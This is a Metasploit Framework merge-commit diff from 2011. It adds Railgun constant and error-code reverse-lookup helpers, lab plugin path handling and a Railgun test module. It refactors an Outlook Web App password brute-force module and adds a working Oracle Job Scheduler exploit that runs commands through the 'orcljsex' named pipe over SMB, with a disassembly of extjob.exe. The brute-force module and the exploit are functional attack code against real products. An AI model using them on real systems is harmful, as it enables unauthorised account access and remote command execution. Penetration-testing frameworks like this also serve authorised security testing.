Merge branch 'master' of github_r7:rapid7/metasploit-framework

This commit is contained in:
Tod Beardsley
2011-12-23 12:25:54 -06:00
6 changed files with 430 additions and 29 deletions
@@ -277,6 +277,22 @@ class Railgun
def const(str)
return constant_manager.parse(str)
end
#
# Return an array of windows constants names matching +winconst+
#
def const_reverse_lookup(winconst,filter_regex=nil)
return constant_manager.rev_lookup(winconst,filter_regex)
end
#
# Returns an array of windows error code names for a given windows error code matching +err_code+
#
def error_lookup (err_code,filter_regex=/^ERROR_/)
return constant_manager.rev_lookup(err_code,filter_regex)
end
#
# The multi-call shorthand (["kernel32", "ExitProcess", [0]])
@@ -70,6 +70,30 @@ class WinConstManager
def is_parseable(s)
return parse(s) != nil
end
# looks up a windows constant (integer or hex) and returns an array of matching winconstant names
#
# this function will NOT throw an exception but return "nil" if it can't find an error code
def rev_lookup(winconst, filter_regex=nil)
c = winconst.to_i # this is what we're gonna reverse lookup
arr = [] # results array
@consts.each_pair do |k,v|
arr << k if v == c
end
if filter_regex # this is how we're going to filter the results
# in case we get passed a string instead of a Regexp
filter_regex = Regexp.new(filter_regex) unless filter_regex.class == Regexp
# do the actual filtering
arr.select! do |item|
item if item =~ filter_regex
end
end
return arr
end
def is_parseable(s)
return parse(s) != nil
end
end
end; end; end; end; end; end
+66 -28
View File
@@ -17,21 +17,53 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'Outlook Web App (OWA) Brute Force Utility',
'Description' => %q{
This module tests credentials on OWA 2003, 2007 and 2010 servers.
This module tests credentials on OWA 2003, 2007 and 2010 servers. The default
action is set to OWA 2010.
},
'Author' =>
[
'Vitor Moreira',
'Spencer McIntyre',
'SecureState R&D Team'
'SecureState R&D Team',
'sinn3r'
],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'Actions' =>
[
[
'OWA 2003',
{
'Description' => 'OWA version 2003',
'AuthPath' => '/exchweb/bin/auth/owaauth.dll',
'InboxPath' => '/exchange/',
'InboxCheck' => /Inbox/
}
],
[
'OWA 2007',
{
'Description' => 'OWA version 2007',
'AuthPath' => '/owa/auth/owaauth.dll',
'InboxPath' => '/owa/',
'InboxCheck' => /addrbook.gif/
}
],
[
'OWA 2010',
{
'Description' => 'OWA version 2010',
'AuthPath' => '/owa/auth.owa',
'InboxPath' => '/owa/',
'InboxCheck' => /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/
}
]
],
'DefaultAction' => 'OWA 2010'
)
register_options(
[
OptInt.new('RPORT', [ true, "The target port", 443]),
OptString.new('VERSION', [ true, "OWA VERSION (2003, 2007, or 2010)", '2007'])
], self.class)
register_advanced_options(
@@ -43,11 +75,30 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('BLANK_PASSWORDS')
end
def cleanup
# Restore the original settings
datastore['BLANK_PASSWORDS'] = @blank_passwords_setting
datastore['USER_AS_PASS'] = @user_as_pass_setting
end
def run
datastore['BLANK_PASSWORDS'] = false # OWA doesn't support blank passwords
# Store the original setting
@blank_passwords_setting = datastore['BLANK_PASSWORDS']
# OWA doesn't support blank passwords
datastore['BLANK_PASSWORDS'] = false
# If there's a pre-defined username/password, we need to turn off USER_AS_PASS
# so that the module won't just try username:username, and then exit.
@user_as_pass_setting = datastore['USER_AS_PASS']
if not datastore['USERNAME'].nil? and not datastore['PASSWORD'].nil?
print_status("Disabling 'USER_AS_PASS' because you've specified an username/password")
datastore['USER_AS_PASS'] = false
end
vhost = datastore['VHOST'] || datastore['RHOST']
print_status("#{msg} Testing version #{datastore['VERSION']}")
print_status("#{msg} Testing version #{action.name}")
# Here's a weird hack to check if each_user_pass is empty or not
# apparently you cannot do each_user_pass.empty? or even inspect() it
@@ -58,34 +109,21 @@ class Metasploit3 < Msf::Auxiliary
end
print_error("No username/password specified") if isempty
if datastore['VERSION'] == '2003'
authPath = '/exchweb/bin/auth/owaauth.dll'
inboxPath = '/exchange/'
loginCheck = /Inbox/
elsif datastore['VERSION'] == '2007'
authPath = '/owa/auth/owaauth.dll'
inboxPath = '/owa/'
loginCheck = /addrbook.gif/
elsif datastore['VERSION'] == '2010'
authPath = '/owa/auth.owa' # Post creds here
inboxPath = '/owa/' # Get request with cookie/sessionid
loginCheck = /Inbox|location(\x20*)=(\x20*)"\\\/(\w+)\\\/logoff\.owa|A mailbox couldn\'t be found/ # check result
else
print_error('Invalid VERSION, select one of 2003, 2007, or 2010')
return
end
auth_path = action.opts['AuthPath']
inbox_path = action.opts['InboxPath']
login_check = action.opts['InboxCheck']
begin
each_user_pass do |user, pass|
vprint_status("#{msg} Trying #{user} : #{pass}")
try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
print_error("#{msg} HTTP Connection Error, Aborting")
end
end
def try_user_pass(user, pass, authPath, inboxPath, loginCheck, vhost)
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
headers = {
'Cookie' => 'PBack=0'
@@ -100,11 +138,11 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'encode' => true,
'uri' => authPath,
'uri' => auth_path,
'method' => 'POST',
'headers' => headers,
'data' => data
}, 20)
}, 25)
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
print_error("#{msg} HTTP Connection Failed, Aborting")
@@ -129,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
begin
res = send_request_cgi({
'uri' => inboxPath,
'uri' => inbox_path,
'method' => 'GET',
'headers' => headers
}, 20)
@@ -148,7 +186,7 @@ class Metasploit3 < Msf::Auxiliary
return :skip_pass
end
if res.body =~ loginCheck
if res.body =~ login_check
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
+196
View File
@@ -0,0 +1,196 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SMB
include Msf::Exploit::CmdStagerVBS
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle Job Scheduler Named Pipe Command Execution',
'Description' => %q{
This module exploits the Oracle Job Scheduler to execute arbitrary commands. The Job
Scheduler is implemented via the component extjob.exe which listens on a named pipe
called "orcljsex<SID>" and execute arbitrary commands received throw this channel via
CreateProcess(). In order to connect to the Named Pipe remotely SMB access is required.
This module has been tested on Oracle 10g Release 1 where the Oracle Job Scheduler
runs as SYSTEM on Windows but it's disabled by default.
},
'Author' =>
[
'David Litchfield', # Vulnerability discovery and exploit
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit fu
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.amazon.com/Oracle-Hackers-Handbook-Hacking-Defending/dp/0470080221' ],
],
'Payload' =>
{
'Space' => 2048,
},
'Platform' => 'win',
'Targets' => [['Automatic',{}]],
'Privileged' => true,
'DisclosureDate' => 'Jan 01 2007',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SID', [ true, 'The database sid', 'ORCL'])
], self.class)
end
def exploit
print_status("Exploiting through \\\\#{datastore['RHOST']}\\orcljsex#{datastore['SID']} named pipe...")
execute_cmdstager({:linemax => 1500})
handler
end
def execute_command(cmd, opts)
connect()
smb_login()
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
pipe.write("cmd.exe /q /c #{cmd}")
pipe.close
disconnect
end
def check
begin
connect()
smb_login()
pipe = simple.create_pipe("\\orcljsex#{datastore['SID']}")
pipe.write("cmd.exe /q /c dir")
result = pipe.read() # Exit Code
pipe.close
disconnect
rescue
return Exploit::CheckCode::Safe
end
if result == "1" # Exit Code should be 1
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
end
=begin
How To Test locally:
1. Go to Administrative Tools -> Services -> Set 'OracleJobSchedulerORCL' to automatic, and
then Start the service.
2. Make sure you know your SMBUser and SMBPass
3. Run:
C:\Documents and Settings\juan\PipeList>echo cmd.exe /c calc.exe > \\.\pipe\orcljsexorcl
Code Analysis of extjob.exe (Oracle 10g Release 1)
=================================================
From _ServiceStart():
* Create Named Pipe and store handle on "esi":
.text:004017EC push offset _pipename
.text:004017F1 lea ecx, [ebp+Name]
.text:004017F7 push offset $SG59611 ; "\\\\.\\pipe\\orcljsex%s"
.text:004017FC push ecx
.text:004017FD jmp short loc_401810
.text:004017FF ; ---------------------------------------------------------------------------
.text:004017FF
.text:004017FF loc_4017FF: ; CODE XREF: _ServiceStart+FAj
.text:004017FF push offset $SG59613
.text:00401804 lea edx, [ebp+Name]
.text:0040180A push offset $SG59614 ; "\\\\.\\pipe\\orcljsex%s"
.text:0040180F push edx ; Dest
.text:00401810
.text:00401810 loc_401810: ; CODE XREF: _ServiceStart+10Dj
.text:00401810 call ds:__imp__sprintf
.text:00401816 add esp, 0Ch
.text:00401819 push edi
.text:0040181A push edi
.text:0040181B push 4
.text:0040181D call _ReportStatusToSCMgr
.text:00401822 add esp, 0Ch
.text:00401825 test eax, eax
.text:00401827 jz loc_4018EC
.text:0040182D mov edi, ds:__imp__CreateNamedPipeA@32 ; CreateNamedPipeA(x,x,x,x,x,x,x,x)
.text:0040185C mov esi, eax
* Connect Named Pipe
.text:0040188F push eax ; lpOverlapped
.text:00401890 push esi ; hNamedPipe
.text:00401891 call ds:__imp__ConnectNamedPipe@8 ; ConnectNamedPipe(x,x)
* Create Thread with ExecMain() as lpStartAddress and esi (The Pipe handle) as parameter
.text:004018B9 lea edx, [ebp+ThreadId]
.text:004018BC push edx ; lpThreadId
.text:004018BD push 0 ; dwCreationFlags
.text:004018BF push esi ; lpParameter
.text:004018C0 push offset _ExecMain ; lpStartAddress
.text:004018C5 push 0 ; dwStackSize
.text:004018C7 push 0 ; lpThreadAttributes
.text:004018C9 call ds:__imp__CreateThread@24 ; CreateThread(x,x,x,x,x,x)
From ExecMain():
* Stores Named Pipe Handle in ebx
.text:0040197C mov ebx, [ebp+hObject]
* Read From Named Pipe
.text:004019C4 lea eax, [ebp+NumberOfBytesRead]
.text:004019C7 push edx ; lpOverlapped
.text:004019C8 push eax ; lpNumberOfBytesRead
.text:004019C9 lea ecx, [ebp+Buffer]
.text:004019CF push 10000h ; nNumberOfBytesToRead
.text:004019D4 push ecx ; lpBuffer
.text:004019D5 push ebx ; hFile
.text:004019D6 call ds:__imp__ReadFile@20 ; ReadFile(x,x,x,x,x)
* CreateProcess with lpCommandLine full controlled by the user input
.text:00401A06 mov ecx, 11h
.text:00401A0B xor eax, eax
.text:00401A0D lea edi, [ebp+StartupInfo]
.text:00401A10 push esi
.text:00401A11 rep stosd
.text:00401A13 lea eax, [ebp+ProcessInformation]
.text:00401A16 lea ecx, [ebp+StartupInfo]
.text:00401A19 push eax ; lpProcessInformation
.text:00401A1A push ecx ; lpStartupInfo
.text:00401A1B push 0 ; lpCurrentDirectory
.text:00401A1D push 0 ; lpEnvironment
.text:00401A1F push 0 ; dwCreationFlags
.text:00401A21 push 0 ; bInheritHandles
.text:00401A23 push 0 ; lpThreadAttributes
.text:00401A25 lea edx, [ebp+Buffer]
.text:00401A2B push 0 ; lpProcessAttributes
.text:00401A2D push edx ; lpCommandLine
.text:00401A2E push 0 ; lpApplicationName
.text:00401A30 mov [ebp+StartupInfo.cb], 44h
.text:00401A37 mov [ebp+StartupInfo.wShowWindow], 5
.text:00401A3D mov [ebp+StartupInfo.dwFlags], 100h
.text:00401A44 mov [ebp+StartupInfo.lpDesktop], offset $SG59671
.text:00401A4B call ds:__imp__CreateProcessA@40 ; CreateProcessA(x,x,x,x,x,x,x,x,x,x)
=end
+70 -1
View File
@@ -60,7 +60,76 @@ class Plugin::Lab < Msf::Plugin
def cmd_lab_load(*args)
return lab_usage unless args.count == 1
@controller.from_file(args[0])
res = args[0]
good_res = nil
if (File.file? res and File.readable? res)
# then the provided argument is an absolute path and is gtg.
good_res = res
elsif
# let's check to see if it's in the data/lab dir (like when tab completed)
[
::Msf::Config.data_directory + File::SEPARATOR + "lab",
# there isn't a user_data_directory, but could use:
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
].each do |dir|
res_path = dir + File::SEPARATOR + res
if (File.file?(res_path) and File.readable?(res_path))
good_res = res_path
break
end
end
end
if good_res
@controller.from_file(good_res)
else
print_error("#{res} is not a valid lab definition file (.yml)")
end
end
#
# Tab completion for the lab_load command
#
def cmd_lab_load_tabs(str, words)
tabs = []
#return tabs if words.length > 1
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
# then you are probably specifying a full path so let's just use normal file completion
return tab_complete_filenames(str,words)
elsif (not words[1] or not words[1].match(/^\//))
# then let's start tab completion in the data/lab directory
begin
[
::Msf::Config.data_directory + File::SEPARATOR + "lab",
# there isn't a user_data_directory, but could use:
#::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab"
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + File::SEPARATOR + e
::File.file?(path) and File.readable?(path)
}
end
rescue Exception
end
else
tabs += tab_complete_filenames(str,words)
end
return tabs
end
def cmd_lab_load_dir(*args)
return lab_usage unless args.count == 2
@controller.build_from_dir(args[0],args[1],true)
end
def cmd_lab_clear(*args)
@controller.clear!
end
def cmd_lab_save(*args)
return lab_usage if args.empty?
@controller.to_file(args[0])
end
def cmd_lab_load_running(*args)
@@ -0,0 +1,58 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Post
def initialize(info={})
super( update_info( info,
'Name' => 'railgun_testing',
'Description' => %q{ This module will test railgun code used in post modules},
'License' => MSF_LICENSE,
'Author' => [ 'kernelsmith'],
'Version' => '$Revision$',
'Platform' => [ 'windows' ]
))
register_options(
[
OptInt.new("ERR_CODE" , [true, "Error code to reverse lookup", 0x420]),
OptInt.new("WIN_CONST", [true, "Windows constant to reverse lookup", 4]),
OptString.new("WCREGEX", [false,"Regexp to apply to constant rev lookup", "^SERVICE"]),
OptString.new("ECREGEX", [false,"Regexp to apply to error code lookup", "^ERROR_SERVICE_"]),
], self.class)
end
def run
print_status("Running against session #{datastore["SESSION"]}")
print_status("Session type is #{session.type}")
@rg = session.railgun
print_status()
print_status("TESTING: const_reverse_lookup on #{datastore['WIN_CONST']} filtering by #{datastore['WCREGEX'].to_s}")
results = @rg.const_reverse_lookup(datastore['WIN_CONST'],datastore['WCREGEX'])
print_status("RESULTS: #{results.class} #{results.pretty_inspect}")
print_status()
print_status("TESTING: error_lookup on #{datastore['ERR_CODE']} filtering by #{datastore['ECREGEX'].to_s}")
results = @rg.error_lookup(datastore['ERR_CODE'],datastore['ECREGEX'])
print_status("RESULTS: #{results.class} #{results.inspect}")
print_status()
print_status("Testing Complete!")
end
end